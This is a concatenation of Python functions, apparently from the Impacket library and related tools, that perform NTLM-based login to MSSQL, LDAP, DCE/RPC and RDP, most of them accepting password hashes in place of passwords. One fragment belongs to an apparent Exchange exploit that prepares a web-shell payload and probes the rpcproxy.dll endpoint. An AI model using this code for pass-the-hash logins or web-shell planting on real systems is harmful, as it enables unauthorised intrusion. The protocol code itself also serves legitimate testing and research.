def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] != TDS_ENCRYPT_NOT_SUP: print ("Encryption not supported") login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION','') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword(password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) self.sendTDS(TDS_LOGIN7, str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) if authenticationChoice == 'simple': bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, AuthSimple(password)) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, '') resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyNegotiate', negotiate) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = resp['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyResponse', type3) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] else: raise LDAPSessionError(errorString='Unknown authenticationChoice %s' % authenticationChoice) if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % ( resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def check_rdp(host, username, password, domain, hashes = None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = str(rdp_neg) tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = str(tpdu) s = socket.socket() s.connect((host,3389)) s.sendall(str(tpkt)) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials") return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx,s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30'+ asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: print "[*] Access Denied" else: logging.error(err) return
def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: print "[!] Encryption required, switching to TLS" # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx,None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data,0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16*1024-1 self.tlsSocket = tls login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION','') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword(password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet self.sendTDS(TDS_LOGIN7, str(login)) # According to the spects, if encryption is not required, we must encrypt just # the first Login packet :-o if resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def bind(self, uuid, alter = 0, bogus_binds = 0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND packet['pduData'] = str(bind) packet['call_id'] = self.__callid if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != RPC_C_AUTHN_LEVEL_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials() if self.__auth_type == RPC_C_AUTHN_WINNT: auth = ntlm.getNTLMSSPType1('', self.__domain, signingRequired = True, use_ntlmv2 = self._transport.doesSupportNTLMv2()) elif self.__auth_type == RPC_C_AUTHN_NETLOGON: from impacket.dcerpc import netlogon auth = netlogon.getSSPType1(self.__username[:-1], self.__domain, signingRequired = True) sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 pad = (4 - (len(packet.get_packet()) % 4)) % 4 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF'*pad sec_trailer['auth_pad_len']=pad packet['sec_trailer'] = sec_trailer packet['auth_data'] = str(auth) self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) elif rpc_provider_reason.has_key(status_code): raise Exception("Bind context rejected: %s" % rpc_provider_reason[status_code]) else: raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE: if self.__auth_type == RPC_C_AUTHN_WINNT: response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, use_ntlmv2 = self._transport.doesSupportNTLMv2()) self.__flags = response['flags'] elif self.__auth_type == RPC_C_AUTHN_NETLOGON: response = None self.__sequence = 0 if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY): if self.__auth_type == RPC_C_AUTHN_WINNT: if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt elif self.__auth_type == RPC_C_AUTHN_NETLOGON: pass sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 if response is not None: auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be # ignored on receipt. The pad field MUST be immediately followed by a # sec_trailer structure whose layout, location, and alignment are as # specified in section 2.2.2.11 auth3['pduData'] = ' ' auth3['sec_trailer'] = sec_trailer auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx = 1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = 3 if authenticationChoice == 'simple': if '.' in domain: bindRequest['name'] = user + '@' + domain elif domain: bindRequest['name'] = domain + '\\' + user else: bindRequest['name'] = user bindRequest['authentication']['simple'] = password response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['name'] = user bindRequest['authentication']['sicilyPackageDiscovery'] = '' response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass bindRequest['name'] = user # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication']['sicilyNegotiate'] = negotiate response = self.sendReceive(bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = response['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication']['sicilyResponse'] = type3 response = self.sendReceive(bindRequest)[0]['protocolOp'] else: raise LDAPSessionError(errorString="Unknown authenticationChoice: '%s'" % authenticationChoice) if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage']) ) return True
def bind(self, uuid, alter = 0, bogus_binds = 0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials() auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE = True) auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 pad = (8 - (len(packet.get_packet()) % 8)) % 8 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF'*pad auth['auth_pad_len']=pad packet['auth_data'] = str(auth) packet['pduData'] = str(bind) packet['call_id'] = self.__callid self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != ntlm.NTLM_AUTH_NONE: response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level self.__flags = response['flags'] if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt self.__sequence = 0 auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx = 1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
if '%' in webshell: raise Exception('payload may not contain %') if len(webshell) > 246: raise Exception('payload must be less than 246 bytes') if '\n' in webshell: print('Removing newlines from webshell') webshell = webshell.replace('\n', '') if not args.email and not args.sid: print('Must provide either an email or SID') sys.exit(1) if not args.backend: print('Retrieving backend via RPC') ntlmHash = str(base64.b64encode( ntlm.getNTLMSSPType1().getData()))[2:-1] r = requests.Request('RPC_IN_DATA', f'{args.frontend}/rpc/rpcproxy.dll') r.headers['Authorization'] = f'NTLM {ntlmHash}' sess = requests.Session() if args.proxy: proxies = {'https': args.proxy} else: proxies = {} r = sess.send(r.prepare(), verify=False, proxies=proxies) if r.status_code != 401: raise Exception(f'RPC NTLM Session Auth received {r.status_code}') serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', r.headers['WWW-Authenticate']).group(1) serverChallenge = base64.b64decode(serverChallengeBase64)
def check_rdp(host, username, password, domain, hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = bytes.fromhex(lmhash) nthash = bytes.fromhex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, 3389)) s.sendall(tpkt.getData()) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list(b'RC4,AES') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = b'\x30' + asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = type3.getData() ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: logging.error("Access Denied") else: logging.error(err) return # 4. After the server receives the public key in step 3, it first verifies that # it has the same public key that it used as part of the TLS handshake in step 1. # The server then adds 1 to the first byte representing the public key (the ASN.1 # structure corresponding to the SubjectPublicKey field, as described in step 3) # and encrypts the binary result by using the SPNEGO encryption services. # Due to the addition of 1 to the binary data, and encryption of the data as a binary # structure, the resulting value may not be valid ASN.1-encoded values. # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest # structure and is sent over the encrypted TLS channel to the client. # The addition of 1 to the first byte of the public key is performed so that the # client-generated pubKeyAuth message cannot be replayed back to the client by an # attacker. # # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens # fields are omitted from the TSRequest structure. ts_request = TSRequest(buff) # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) # 5. After the client successfully verifies server authenticity by performing a # binary comparison of the data from step 4 to that of the data representing # the public key from the server's X.509 certificate (as specified in [RFC3280], # section 4.1), it encrypts the user's credentials (either password or smart card # PIN) by using the SPNEGO encryption services. The resulting value is # encapsulated in the authInfo field of the TSRequest structure and sent over # the encrypted TLS channel to the server. # The TSCredentials structure within the authInfo field of the TSRequest # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, # but MUST NOT contain both. # # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens # fields are omitted from the TSRequest structure. tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) tls.close() logging.info("Access Granted")
